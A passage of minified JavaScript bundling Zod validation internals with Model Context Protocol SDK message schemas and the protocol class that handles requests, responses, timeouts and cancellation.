a({...this._def,minSize:{value:e,message:U.toString(t)}})}max(e,t){return new a({...this._def,maxSize:{value:e,message:U.toString(t)}})}size(e,t){return this.min(e,t).max(e,t)}nonempty(e){return this.min(1,e)}};nt.create=(a,e)=>new nt({valueType:a,minSize:null,maxSize:null,typeName:W.ZodSet,...Q(e)});var kt=class a extends K{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.function)return D(t,{code:w.invalid_type,expected:k.function,received:t.parsedType}),z;function s(i,f){return vt({data:i,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,Xr(),cr].filter(d=>!!d),issueData:{code:w.invalid_arguments,argumentsError:f}})}function r(i,f){return vt({data:i,path:t.path,errorMaps:[t.common.contextualErrorMap,t.schemaErrorMap,Xr(),cr].filter(d=>!!d),issueData:{code:w.invalid_return_type,returnTypeError:f}})}let n={errorMap:t.common.contextualErrorMap},l=t.data;if(this._def.returns instanceof yr){let i=this;return we(async function(...f){let d=new Ae([]),h=await i._def.args.parseAsync(f,n).catch(c=>{throw d.addIssue(s(f,c)),d}),m=await Reflect.apply(l,this,h);return await i._def.returns._def.type.parseAsync(m,n).catch(c=>{throw d.addIssue(r(m,c)),d})})}else{let i=this;return we(function(...f){let d=i._def.args.safeParse(f,n);if(!d.success)throw new Ae([s(f,d.error)]);let h=Reflect.apply(l,this,d.data),m=i._def.returns.safeParse(h,n);if(!m.success)throw new Ae([r(h,m.error)]);return m.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new a({...this._def,args:er.create(e).rest(dr.create())})}returns(e){return new a({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,t,s){return new a({args:e||er.create([]).rest(dr.create()),returns:t||dr.create(),typeName:W.ZodFunction,...Q(s)})}},Lr=class extends K{get schema(){return this._def.getter()}_parse(e){let{ctx:t}=this._processInputParams(e);return this._def.getter()._parse({data:t.data,path:t.path,parent:t})}};Lr.create=(a,e)=>new Lr({getter:a,typeName:W.ZodLazy,...Q(e)});var Fr=class extends K{_parse(e){if(e.data!==this._def.value){let t=this._getOrReturnCtx(e);return D(t,{received:t.data,code:w.invalid_literal,expected:this._def.value}),z}return{status:"valid",value:e.data}}get value(){return this._def.value}};Fr.create=(a,e)=>new Fr({value:a,typeName:W.ZodLiteral,...Q(e)});function ks(a,e){return new Mr({values:a,typeName:W.ZodEnum,...Q(e)})}var Mr=class a extends K{_parse(e){if(typeof e.data!="string"){let t=this._getOrReturnCtx(e),s=this._def.values;return D(t,{expected:Y.joinValues(s),received:t.parsedType,code:w.invalid_type}),z}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let t=this._getOrReturnCtx(e),s=this._def.values;return D(t,{received:t.data,code:w.invalid_enum_value,options:s}),z}return we(e.data)}get options(){return this._def.values}get enum(){let e={};for(let t of this._def.values)e[t]=t;return e}get Values(){let e={};for(let t of this._def.values)e[t]=t;return e}get Enum(){let e={};for(let t of this._def.values)e[t]=t;return e}extract(e,t=this._def){return a.create(e,{...this._def,...t})}exclude(e,t=this._def){return a.create(this.options.filter(s=>!e.includes(s)),{...this._def,...t})}};Mr.create=ks;var qr=class extends K{_parse(e){let t=Y.getValidEnumValues(this._def.values),s=this._getOrReturnCtx(e);if(s.parsedType!==k.string&&s.parsedType!==k.number){let r=Y.objectValues(t);return D(s,{expected:Y.joinValues(r),received:s.parsedType,code:w.invalid_type}),z}if(this._cache||(this._cache=new Set(Y.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let r=Y.objectValues(t);return D(s,{received:s.data,code:w.invalid_enum_value,options:r}),z}return we(e.data)}get enum(){return this._def.values}};qr.create=(a,e)=>new qr({values:a,typeName:W.ZodNativeEnum,...Q(e)});var yr=class extends K{unwrap(){return this._def.type}_parse(e){let{ctx:t}=this._processInputParams(e);if(t.parsedType!==k.promise&&t.common.async===!1)return D(t,{code:w.invalid_type,expected:k.promise,received:t.parsedType}),z;let s=t.parsedType===k.promise?t.data:Promise.resolve(t.data);return we(s.then(r=>this._def.type.parseAsync(r,{path:t.path,errorMap:t.common.contextualErrorMap})))}};yr.create=(a,e)=>new yr({type:a,typeName:W.ZodPromise,...Q(e)});var Ve=class extends K{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===W.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:t,ctx:s}=this._processInputParams(e),r=this._def.effect||null,n={addIssue:l=>{D(s,l),l.fatal?t.abort():t.dirty()},get path(){return s.path}};if(n.addIssue=n.addIssue.bind(n),r.type==="preprocess"){let l=r.transform(s.data,n);if(s.common.async)return Promise.resolve(l).then(async i=>{if(t.value==="aborted")return z;let f=await this._def.schema._parseAsync({data:i,path:s.path,parent:s});return f.status==="aborted"?z:f.status==="dirty"?Or(f.value):t.value==="dirty"?Or(f.value):f});{if(t.value==="aborted")return z;let i=this._def.schema._parseSync({data:l,path:s.path,parent:s});return i.status==="aborted"?z:i.status==="dirty"?Or(i.value):t.value==="dirty"?Or(i.value):i}}if(r.type==="refinement"){let l=i=>{let f=r.refinement(i,n);if(s.common.async)return Promise.resolve(f);if(f instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return i};if(s.common.async===!1){let i=this._def.schema._parseSync({data:s.data,path:s.path,parent:s});return i.status==="aborted"?z:(i.status==="dirty"&&t.dirty(),l(i.value),{status:t.value,value:i.value})}else return this._def.schema._parseAsync({data:s.data,path:s.path,parent:s}).then(i=>i.status==="aborted"?z:(i.status==="dirty"&&t.dirty(),l(i.value).then(()=>({status:t.value,value:i.value}))))}if(r.type==="transform")if(s.common.async===!1){let l=this._def.schema._parseSync({data:s.data,path:s.path,parent:s});if(!mr(l))return z;let i=r.transform(l.value,n);if(i instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:t.value,value:i}}else return this._def.schema._parseAsync({data:s.data,path:s.path,parent:s}).then(l=>mr(l)?Promise.resolve(r.transform(l.value,n)).then(i=>({status:t.value,value:i})):z);Y.assertNever(r)}};Ve.create=(a,e,t)=>new Ve({schema:a,typeName:W.ZodEffects,effect:e,...Q(t)});Ve.createWithPreprocess=(a,e,t)=>new Ve({schema:e,effect:{type:"preprocess",transform:a},typeName:W.ZodEffects,...Q(t)});var qe=class extends K{_parse(e){return this._getType(e)===k.undefined?we(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};qe.create=(a,e)=>new qe({innerType:a,typeName:W.ZodOptional,...Q(e)});var rr=class extends K{_parse(e){return this._getType(e)===k.null?we(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};rr.create=(a,e)=>new rr({innerType:a,typeName:W.ZodNullable,...Q(e)});var Ur=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=t.data;return t.parsedType===k.undefined&&(s=this._def.defaultValue()),this._def.innerType._parse({data:s,path:t.path,parent:t})}removeDefault(){return this._def.innerType}};Ur.create=(a,e)=>new Ur({innerType:a,typeName:W.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...Q(e)});var Vr=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s={...t,common:{...t.common,issues:[]}},r=this._def.innerType._parse({data:s.data,path:s.path,parent:{...s}});return et(r)?r.then(n=>({status:"valid",value:n.status==="valid"?n.value:this._def.catchValue({get error(){return new Ae(s.common.issues)},input:s.data})})):{status:"valid",value:r.status==="valid"?r.value:this._def.catchValue({get error(){return new Ae(s.common.issues)},input:s.data})}}removeCatch(){return this._def.innerType}};Vr.create=(a,e)=>new Vr({innerType:a,typeName:W.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...Q(e)});var it=class extends K{_parse(e){if(this._getType(e)!==k.nan){let s=this._getOrReturnCtx(e);return D(s,{code:w.invalid_type,expected:k.nan,received:s.parsedType}),z}return{status:"valid",value:e.data}}};it.create=a=>new it({typeName:W.ZodNaN,...Q(a)});var _l=Symbol("zod_brand"),gt=class extends K{_parse(e){let{ctx:t}=this._processInputParams(e),s=t.data;return this._def.type._parse({data:s,path:t.path,parent:t})}unwrap(){return this._def.type}},yt=class a extends K{_parse(e){let{status:t,ctx:s}=this._processInputParams(e);if(s.common.async)return(async()=>{let n=await this._def.in._parseAsync({data:s.data,path:s.path,parent:s});return n.status==="aborted"?z:n.status==="dirty"?(t.dirty(),Or(n.value)):this._def.out._parseAsync({data:n.value,path:s.path,parent:s})})();{let r=this._def.in._parseSync({data:s.data,path:s.path,parent:s});return r.status==="aborted"?z:r.status==="dirty"?(t.dirty(),{status:"dirty",value:r.value}):this._def.out._parseSync({data:r.value,path:s.path,parent:s})}}static create(e,t){return new a({in:e,out:t,typeName:W.ZodPipeline})}},Hr=class extends K{_parse(e){let t=this._def.innerType._parse(e),s=r=>(mr(r)&&(r.value=Object.freeze(r.value)),r);return et(t)?t.then(r=>s(r)):s(t)}unwrap(){return this._def.innerType}};Hr.create=(a,e)=>new Hr({innerType:a,typeName:W.ZodReadonly,...Q(e)});function $s(a,e){let t=typeof a=="function"?a(e):typeof a=="string"?{message:a}:a;return typeof t=="string"?{message:t}:t}function Ns(a,e={},t){return a?gr.create().superRefine((s,r)=>{let n=a(s);if(n instanceof Promise)return n.then(l=>{if(!l){let i=$s(e,s),f=i.fatal??t??!0;r.addIssue({code:"custom",...i,fatal:f})}});if(!n){let l=$s(e,s),i=l.fatal??t??!0;r.addIssue({code:"custom",...l,fatal:i})}}):gr.create()}var El={object:Ce.lazycreate},W;(function(a){a.ZodString="ZodString",a.ZodNumber="ZodNumber",a.ZodNaN="ZodNaN",a.ZodBigInt="ZodBigInt",a.ZodBoolean="ZodBoolean",a.ZodDate="ZodDate",a.ZodSymbol="ZodSymbol",a.ZodUndefined="ZodUndefined",a.ZodNull="ZodNull",a.ZodAny="ZodAny",a.ZodUnknown="ZodUnknown",a.ZodNever="ZodNever",a.ZodVoid="ZodVoid",a.ZodArray="ZodArray",a.ZodObject="ZodObject",a.ZodUnion="ZodUnion",a.ZodDiscriminatedUnion="ZodDiscriminatedUnion",a.ZodIntersection="ZodIntersection",a.ZodTuple="ZodTuple",a.ZodRecord="ZodRecord",a.ZodMap="ZodMap",a.ZodSet="ZodSet",a.ZodFunction="ZodFunction",a.ZodLazy="ZodLazy",a.ZodLiteral="ZodLiteral",a.ZodEnum="ZodEnum",a.ZodEffects="ZodEffects",a.ZodNativeEnum="ZodNativeEnum",a.ZodOptional="ZodOptional",a.ZodNullable="ZodNullable",a.ZodDefault="ZodDefault",a.ZodCatch="ZodCatch",a.ZodPromise="ZodPromise",a.ZodBranded="ZodBranded",a.ZodPipeline="ZodPipeline",a.ZodReadonly="ZodReadonly"})(W||(W={}));var Sl=(a,e={message:`Input not instance of ${a.name}`})=>Ns(t=>t instanceof a,e),js=vr.create,Ls=Ir.create,bl=it.create,Pl=$r.create,Fs=Ar.create,xl=Cr.create,wl=tt.create,Rl=Dr.create,Tl=kr.create,Ol=gr.create,Il=dr.create,$l=Qe.create,Al=at.create,Cl=fr.create,Dl=Ce.create,kl=Ce.strictCreate,Nl=Nr.create,jl=Ct.create,Ll=jr.create,Fl=er.create,Ml=Dt.create,ql=st.create,Ul=nt.create,Vl=kt.create,Hl=Lr.create,zl=Fr.create,Wl=Mr.create,Bl=qr.create,Ql=yr.create,Zl=Ve.create,Kl=qe.create,Gl=rr.create,Jl=Ve.createWithPreprocess,Yl=yt.create,Xl=()=>js().optional(),ec=()=>Ls().optional(),rc=()=>Fs().optional(),tc={string:(a=>vr.create({...a,coerce:!0})),number:(a=>Ir.create({...a,coerce:!0})),boolean:(a=>Ar.create({...a,coerce:!0})),bigint:(a=>$r.create({...a,coerce:!0})),date:(a=>Cr.create({...a,coerce:!0}))};var ac=z;var xa="2025-06-18";var Ms=[xa,"2025-03-26","2024-11-05","2024-10-07"],Nt="2.0",qs=o.union([o.string(),o.number().int()]),Us=o.string(),sc=o.object({progressToken:o.optional(qs)}).passthrough(),He=o.object({_meta:o.optional(sc)}).passthrough(),De=o.object({method:o.string(),params:o.optional(He)}),_t=o.object({_meta:o.optional(o.object({}).passthrough())}).passthrough(),tr=o.object({method:o.string(),params:o.optional(_t)}),ze=o.object({_meta:o.optional(o.object({}).passthrough())}).passthrough(),jt=o.union([o.string(),o.number().int()]),Vs=o.object({jsonrpc:o.literal(Nt),id:jt}).merge(De).strict(),Hs=a=>Vs.safeParse(a).success,zs=o.object({jsonrpc:o.literal(Nt)}).merge(tr).strict(),Ws=a=>zs.safeParse(a).success,Bs=o.object({jsonrpc:o.literal(Nt),id:jt,result:ze}).strict(),wa=a=>Bs.safeParse(a).success,Ze;(function(a){a[a.ConnectionClosed=-32e3]="ConnectionClosed",a[a.RequestTimeout=-32001]="RequestTimeout",a[a.ParseError=-32700]="ParseError",a[a.InvalidRequest=-32600]="InvalidRequest",a[a.MethodNotFound=-32601]="MethodNotFound",a[a.InvalidParams=-32602]="InvalidParams",a[a.InternalError=-32603]="InternalError"})(Ze||(Ze={}));var Qs=o.object({jsonrpc:o.literal(Nt),id:jt,error:o.object({code:o.number().int(),message:o.string(),data:o.optional(o.unknown())})}).strict(),Zs=a=>Qs.safeParse(a).success,Ks=o.union([Vs,zs,Bs,Qs]),Lt=ze.strict(),Ft=tr.extend({method:o.literal("notifications/cancelled"),params:_t.extend({requestId:jt,reason:o.string().optional()})}),nc=o.object({src:o.string(),mimeType:o.optional(o.string()),sizes:o.optional(o.array(o.string()))}).passthrough(),Et=o.object({icons:o.array(nc).optional()}).passthrough(),St=o.object({name:o.string(),title:o.optional(o.string())}).passthrough(),Gs=St.extend({version:o.string(),websiteUrl:o.optional(o.string())}).merge(Et),ic=o.object({experimental:o.optional(o.object({}).passthrough()),sampling:o.optional(o.object({}).passthrough()),elicitation:o.optional(o.object({}).passthrough()),roots:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough())}).passthrough(),Ra=De.extend({method:o.literal("initialize"),params:He.extend({protocolVersion:o.string(),capabilities:ic,clientInfo:Gs})});var oc=o.object({experimental:o.optional(o.object({}).passthrough()),logging:o.optional(o.object({}).passthrough()),completions:o.optional(o.object({}).passthrough()),prompts:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough()),resources:o.optional(o.object({subscribe:o.optional(o.boolean()),listChanged:o.optional(o.boolean())}).passthrough()),tools:o.optional(o.object({listChanged:o.optional(o.boolean())}).passthrough())}).passthrough(),lc=ze.extend({protocolVersion:o.string(),capabilities:oc,serverInfo:Gs,instructions:o.optional(o.string())}),Ta=tr.extend({method:o.literal("notifications/initialized")});var Mt=De.extend({method:o.literal("ping")}),cc=o.object({progress:o.number(),total:o.optional(o.number()),message:o.optional(o.string())}).passthrough(),qt=tr.extend({method:o.literal("notifications/progress"),params:_t.merge(cc).extend({progressToken:qs})}),Ut=De.extend({params:He.extend({cursor:o.optional(Us)}).optional()}),Vt=ze.extend({nextCursor:o.optional(Us)}),Js=o.object({uri:o.string(),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Ys=Js.extend({text:o.string()}),Oa=o.string().refine(a=>{try{return atob(a),!0}catch{return!1}},{message:"Invalid Base64 string"}),Xs=Js.extend({blob:Oa}),en=St.extend({uri:o.string(),description:o.optional(o.string()),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).merge(Et),uc=St.extend({uriTemplate:o.string(),description:o.optional(o.string()),mimeType:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).merge(Et),dc=Ut.extend({method:o.literal("resources/list")}),fc=Vt.extend({resources:o.array(en)}),hc=Ut.extend({method:o.literal("resources/templates/list")}),pc=Vt.extend({resourceTemplates:o.array(uc)}),mc=De.extend({method:o.literal("resources/read"),params:He.extend({uri:o.string()})}),vc=ze.extend({contents:o.array(o.union([Ys,Xs]))}),gc=tr.extend({method:o.literal("notifications/resources/list_changed")}),yc=De.extend({method:o.literal("resources/subscribe"),params:He.extend({uri:o.string()})}),_c=De.extend({method:o.literal("resources/unsubscribe"),params:He.extend({uri:o.string()})}),Ec=tr.extend({method:o.literal("notifications/resources/updated"),params:_t.extend({uri:o.string()})}),Sc=o.object({name:o.string(),description:o.optional(o.string()),required:o.optional(o.boolean())}).passthrough(),bc=St.extend({description:o.optional(o.string()),arguments:o.optional(o.array(Sc)),_meta:o.optional(o.object({}).passthrough())}).merge(Et),Pc=Ut.extend({method:o.literal("prompts/list")}),xc=Vt.extend({prompts:o.array(bc)}),wc=De.extend({method:o.literal("prompts/get"),params:He.extend({name:o.string(),arguments:o.optional(o.record(o.string()))})}),Ia=o.object({type:o.literal("text"),text:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),$a=o.object({type:o.literal("image"),data:Oa,mimeType:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Aa=o.object({type:o.literal("audio"),data:Oa,mimeType:o.string(),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Rc=o.object({type:o.literal("resource"),resource:o.union([Ys,Xs]),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Tc=en.extend({type:o.literal("resource_link")}),rn=o.union([Ia,$a,Aa,Tc,Rc]),Oc=o.object({role:o.enum(["user","assistant"]),content:rn}).passthrough(),Ic=ze.extend({description:o.optional(o.string()),messages:o.array(Oc)}),$c=tr.extend({method:o.literal("notifications/prompts/list_changed")}),Ac=o.object({title:o.optional(o.string()),readOnlyHint:o.optional(o.boolean()),destructiveHint:o.optional(o.boolean()),idempotentHint:o.optional(o.boolean()),openWorldHint:o.optional(o.boolean())}).passthrough(),Cc=St.extend({description:o.optional(o.string()),inputSchema:o.object({type:o.literal("object"),properties:o.optional(o.object({}).passthrough()),required:o.optional(o.array(o.string()))}).passthrough(),outputSchema:o.optional(o.object({type:o.literal("object"),properties:o.optional(o.object({}).passthrough()),required:o.optional(o.array(o.string()))}).passthrough()),annotations:o.optional(Ac),_meta:o.optional(o.object({}).passthrough())}).merge(Et),Ca=Ut.extend({method:o.literal("tools/list")}),Dc=Vt.extend({tools:o.array(Cc)}),tn=ze.extend({content:o.array(rn).default([]),structuredContent:o.object({}).passthrough().optional(),isError:o.optional(o.boolean())}),wf=tn.or(ze.extend({toolResult:o.unknown()})),Da=De.extend({method:o.literal("tools/call"),params:He.extend({name:o.string(),arguments:o.optional(o.record(o.unknown()))})}),kc=tr.extend({method:o.literal("notifications/tools/list_changed")}),bt=o.enum(["debug","info","notice","warning","error","critical","alert","emergency"]),ka=De.extend({method:o.literal("logging/setLevel"),params:He.extend({level:bt})}),Nc=tr.extend({method:o.literal("notifications/message"),params:_t.extend({level:bt,logger:o.optional(o.string()),data:o.unknown()})}),jc=o.object({name:o.string().optional()}).passthrough(),Lc=o.object({hints:o.optional(o.array(jc)),costPriority:o.optional(o.number().min(0).max(1)),speedPriority:o.optional(o.number().min(0).max(1)),intelligencePriority:o.optional(o.number().min(0).max(1))}).passthrough(),Fc=o.object({role:o.enum(["user","assistant"]),content:o.union([Ia,$a,Aa])}).passthrough(),Mc=De.extend({method:o.literal("sampling/createMessage"),params:He.extend({messages:o.array(Fc),systemPrompt:o.optional(o.string()),includeContext:o.optional(o.enum(["none","thisServer","allServers"])),temperature:o.optional(o.number()),maxTokens:o.number().int(),stopSequences:o.optional(o.array(o.string())),metadata:o.optional(o.object({}).passthrough()),modelPreferences:o.optional(Lc)})}),Na=ze.extend({model:o.string(),stopReason:o.optional(o.enum(["endTurn","stopSequence","maxTokens"]).or(o.string())),role:o.enum(["user","assistant"]),content:o.discriminatedUnion("type",[Ia,$a,Aa])}),qc=o.object({type:o.literal("boolean"),title:o.optional(o.string()),description:o.optional(o.string()),default:o.optional(o.boolean())}).passthrough(),Uc=o.object({type:o.literal("string"),title:o.optional(o.string()),description:o.optional(o.string()),minLength:o.optional(o.number()),maxLength:o.optional(o.number()),format:o.optional(o.enum(["email","uri","date","date-time"]))}).passthrough(),Vc=o.object({type:o.enum(["number","integer"]),title:o.optional(o.string()),description:o.optional(o.string()),minimum:o.optional(o.number()),maximum:o.optional(o.number())}).passthrough(),Hc=o.object({type:o.literal("string"),title:o.optional(o.string()),description:o.optional(o.string()),enum:o.array(o.string()),enumNames:o.optional(o.array(o.string()))}).passthrough(),zc=o.union([qc,Uc,Vc,Hc]),Wc=De.extend({method:o.literal("elicitation/create"),params:He.extend({message:o.string(),requestedSchema:o.object({type:o.literal("object"),properties:o.record(o.string(),zc),required:o.optional(o.array(o.string()))}).passthrough()})}),ja=ze.extend({action:o.enum(["accept","decline","cancel"]),content:o.optional(o.record(o.string(),o.unknown()))}),Bc=o.object({type:o.literal("ref/resource"),uri:o.string()}).passthrough();var Qc=o.object({type:o.literal("ref/prompt"),name:o.string()}).passthrough(),Zc=De.extend({method:o.literal("completion/complete"),params:He.extend({ref:o.union([Qc,Bc]),argument:o.object({name:o.string(),value:o.string()}).passthrough(),context:o.optional(o.object({arguments:o.optional(o.record(o.string(),o.string()))}))})}),Kc=ze.extend({completion:o.object({values:o.array(o.string()).max(100),total:o.optional(o.number().int()),hasMore:o.optional(o.boolean())}).passthrough()}),Gc=o.object({uri:o.string().startsWith("file://"),name:o.optional(o.string()),_meta:o.optional(o.object({}).passthrough())}).passthrough(),Jc=De.extend({method:o.literal("roots/list")}),La=ze.extend({roots:o.array(Gc)}),Yc=tr.extend({method:o.literal("notifications/roots/list_changed")}),Rf=o.union([Mt,Ra,Zc,ka,wc,Pc,dc,hc,mc,yc,_c,Da,Ca]),Tf=o.union([Ft,qt,Ta,Yc]),Of=o.union([Lt,Na,ja,La]),If=o.union([Mt,Mc,Wc,Jc]),$f=o.union([Ft,qt,Nc,Ec,gc,kc,$c]),Af=o.union([Lt,lc,Kc,Ic,xc,fc,pc,vc,tn,Dc]),Ke=class extends Error{constructor(e,t,s){super(`MCP error ${e}: ${t}`),this.code=e,this.data=s,this.name="McpError"}};var Xc=6e4,Ht=class{constructor(e){this._options=e,this._requestMessageId=0,this._requestHandlers=new Map,this._requestHandlerAbortControllers=new Map,this._notificationHandlers=new Map,this._responseHandlers=new Map,this._progressHandlers=new Map,this._timeoutInfo=new Map,this._pendingDebouncedNotifications=new Set,this.setNotificationHandler(Ft,t=>{let s=this._requestHandlerAbortControllers.get(t.params.requestId);s?.abort(t.params.reason)}),this.setNotificationHandler(qt,t=>{this._onprogress(t)}),this.setRequestHandler(Mt,t=>({}))}_setupTimeout(e,t,s,r,n=!1){this._timeoutInfo.set(e,{timeoutId:setTimeout(r,t),startTime:Date.now(),timeout:t,maxTotalTimeout:s,resetTimeoutOnProgress:n,onTimeout:r})}_resetTimeout(e){let t=this._timeoutInfo.get(e);if(!t)return!1;let s=Date.now()-t.startTime;if(t.maxTotalTimeout&&s>=t.maxTotalTimeout)throw this._timeoutInfo.delete(e),new Ke(Ze.RequestTimeout,"Maximum total timeout exceeded",{maxTotalTimeout:t.maxTotalTimeout,totalElapsed:s});return clearTimeout(t.timeoutId),t.timeoutId=setTimeout(t.onTimeout,t.timeout),!0}_cleanupTimeout(e){let t=this._timeoutInfo.get(e);t&&(clearTimeout(t.timeoutId),this._timeoutInfo.delete(e))}async connect(e){var t,s,r;this._transport=e;let n=(t=this.transport)===null||t===void 0?void 0:t.onclose;this._transport.onclose=()=>{n?.(),this._onclose()};let l=(s=this.transport)===null||s===void 0?void 0:s.onerror;this._transport.onerror=f=>{l?.(f),this._onerror(f)};let i=(r=this._transport)===null||r===void 0?void 0:r.onmessage;this._transport.onmessage=(f,d)=>{i?.(f,d),wa(f)||Zs(f)?this._onresponse(f):Hs(f)?this._onrequest(f,d):Ws(f)?this._onnotification(f):this._onerror(new Error(`Unknown message type: ${JSON.stringify(f)}`))},await this._transport.start()}_onclose(){var e;let t=this._responseHandlers;this._responseHandlers=new Map,this._progressHandlers.clear(),this._pendingDebouncedNotifications.clear(),this._transport=void 0,(e=this.onclose)===null||e===void 0||e.call(this);let s=new Ke(Ze.ConnectionClosed,"Connection closed");for(let r of t.values())r(s)}_onerror(e){var t;(t=this.onerror)===null||t===void 0||t.call(this,e)}_onnotification(e){var t;let s=(t=this._notificationHandlers.get(e.method))!==null&&t!==void 0?t:this.fallbackNotificationHandler;s!==void 0&&Promise.resolve().then(()=>s(e)).catch(r=>this._onerror(new Error(`Uncaught error in notification handler: ${r}`)))}_onrequest(e,t){var s,r;let n=(s=this._requestHandlers.get(e.method))!==null&&s!==void 0?s:this.fallbackRequestHandler,l=this._transport;if(n===void 0){l?.send({jsonrpc:"2.0",id:e.id,error:{code:Ze.MethodNotFound,message:"Method not found"}}).catch(d=>this._onerror(new Error(`Failed to send an error response: ${d}`)));return}let i=new AbortController;this._requestHandlerAbortControllers.set(e.id,i);let f={signal:i.signal,sessionId:l?.sessionId,_meta:(r=e.params)===null||r===void 0?void 0:r._meta,sendNotification:d=>this.notification(d,{relatedRequestId:e.id}),sendRequest:(d,h,m)=>this.request(d,h,{...m,relatedRequestId:e.id}),authInfo:t?.authInfo,requestId:e.id,requestInfo:t?.requestInfo};Promise.resolve().then(()=>n(e,f)).then(d=>{if(!i.signal.aborted)return l?.send({result:d,jsonrpc:"2.0",id:e.id})},d=>{var h;if(!i.signal.aborted)return l?.send({jsonrpc:"2.0",id:e.id,error:{code:Number.isSafeInteger(d.code)?d.code:Ze.InternalError,message:(h=d.message)!==null&&h!==void 0?h:"Internal error"}})}).catch(d=>this._onerror(new Error(`Failed to send response: ${d}`))).finally(()=>{this._requestHandlerAbortControllers.delete(e.id)})}_onprogress(e){let{progressToken:t,...s}=e.params,r=Number(t),n=this._progressHandlers.get(r);if(!n){this._onerror(new Error(`Received a progress notification for an unknown token: ${JSON.stringify(e)}`));return}let l=this._responseHandlers.get(r),i=this._timeoutInfo.get(r);if(i&&l&&i.resetTimeoutOnProgress)try{this._resetTimeout(r)}catch(f){l(f);return}n(s)}_onresponse(e){let t=Number(e.id),s=this._responseHandlers.get(t);if(s===void 0){this._onerror(new Error(`Received a response for an unknown message ID: ${JSON.stringify(e)}`));return}if(this._responseHandlers.delete(t),this._progressHandlers.delete(t),this._cleanupTimeout(t),wa(e))s(e);else{let r=new Ke(e.error.code,e.error.message,e.error.data);s(r)}}get transport(){return this._transport}async close(){var e;await((e=this._transport)===null||e===void 0?void 0:e.close())}request(e,t,s){let{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}=s??{};return new Promise((i,f)=>{var d,h,m,E,c,y;if(!this._transport){f(new Error("Not connected"));return}((d=this._options)===null||d===void 0?void 0:d.enforceStrictCapabilities)===!0&&this.assertCapabilityForMethod(e.method),(h=s?.signal)===null||h===void 0||h.throwIfAborted();let _=this._requestMessageId++,v={...e,jsonrpc:"2.0",id:_};s?.onprogress&&(this._progressHandlers.set(_,s.onprogress),v.params={...e.params,_meta:{...((m=e.params)===null||m===void 0?void 0:m._meta)||{},progressToken:_}});let P=R=>{var I;this._responseHandlers.delete(_),this._progressHandlers.delete(_),this._cleanupTimeout(_),(I=this._transport)===null||I===void 0||I.send({jsonrpc:"2.0",method:"notifications/cancelled",params:{requestId:_,reason:String(R)}},{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}).catch($=>this._onerror(new Error(`Failed to send cancellation: ${$}`))),f(R)};this._responseHandlers.set(_,R=>{var I;if(!(!((I=s?.signal)===null||I===void 0)&&I.aborted)){if(R instanceof Error)return f(R);try{let $=t.parse(R.result);i($)}catch($){f($)}}}),(E=s?.signal)===null||E===void 0||E.addEventListener("abort",()=>{var R;P((R=s?.signal)===null||R===void 0?void 0:R.reason)});let T=(c=s?.timeout)!==null&&c!==void 0?c:Xc,x=()=>P(new Ke(Ze.RequestTimeout,"Request timed out",{timeout:T}));this._setupTimeout(_,T,s?.maxTotalTimeout,x,(y=s?.resetTimeoutOnProgress)!==null&&y!==void 0?y:!1),this._transport.send(v,{relatedRequestId:r,resumptionToken:n,onresumptiontoken:l}).catch(R=>{this._cleanupTimeout(_),f(R)})})}async notification(e,t){var s,r;if(!this._transport)throw new Error("Not connected");if(this.assertNotificationCapability(e.method),((r=(s=this._options)===null||s===void 0?void 0:s.debouncedNotificationMethods)!==null&&r!==void 0?r:[]).includes(e.method)&&!e.params&&!t?.relatedRequestId){if(this._pendingDebouncedNotifications.has(e.method))return;this._pendingDebouncedNotifications.add(e.method),Promise.resolve().then(()=>{var f;if(this._pendingDebouncedNotifications.delete(e.method),!this._transport)return;let d={...e,jsonrpc:"2.0"};(f=this._transport)===null||f===void 0||f.send(d,t).catch(h=>this._onerror(h))});return}let i={...e,jsonrpc:"2.0"};await this._transport.send(i,t)}setRequestHandler(e,t){let s=e.shape.method.value;this.assertRequestHandlerCapability(s),this._requestHandlers.set(s,(r,n)=>Promise.resolve(t(e.parse(r),n)))}removeRequestHandler(e){this._requestHandlers.delete(e)}assertCanSetRequestHandler(e){if(this._requestHandlers.has(e))throw new Error(`A request handler for ${e} already exists, which would be overridden`)}setNotificationHandler(e,t){this._notificationHandlers.set(e.shape.method.value,s=>Promise.resolve(t(e.parse(s))))}removeNotificationHandler(e){this._notificationHandlers.delete(e)}};function an(a,e){return Object.entries(e).reduce((t,[s,r])=>(r&&typeof r=="object"?t[s]=t[s]?{...t[s],...r}:r:t[s]=r,t),{...a})}var io=Ea(no(),1),la=class extends Ht{constructor(e,t){var s;super(t),this._serverInfo=e,this._loggingLevels=new Map,this.LOG_LEVEL_SEVERITY=new Map(bt.options.map((r,n)=>[r,n])),this.isMessageIgnored=(r,n)=>{let l=this._loggingLevels.get(n);return l?this.LOG_LEVEL_SEVERITY.get(r)this._oninitialize(r)),this.setNotificationHandler(Ta,()=>{var r;return(r=this.oninitialized)===null||r===void 0?void 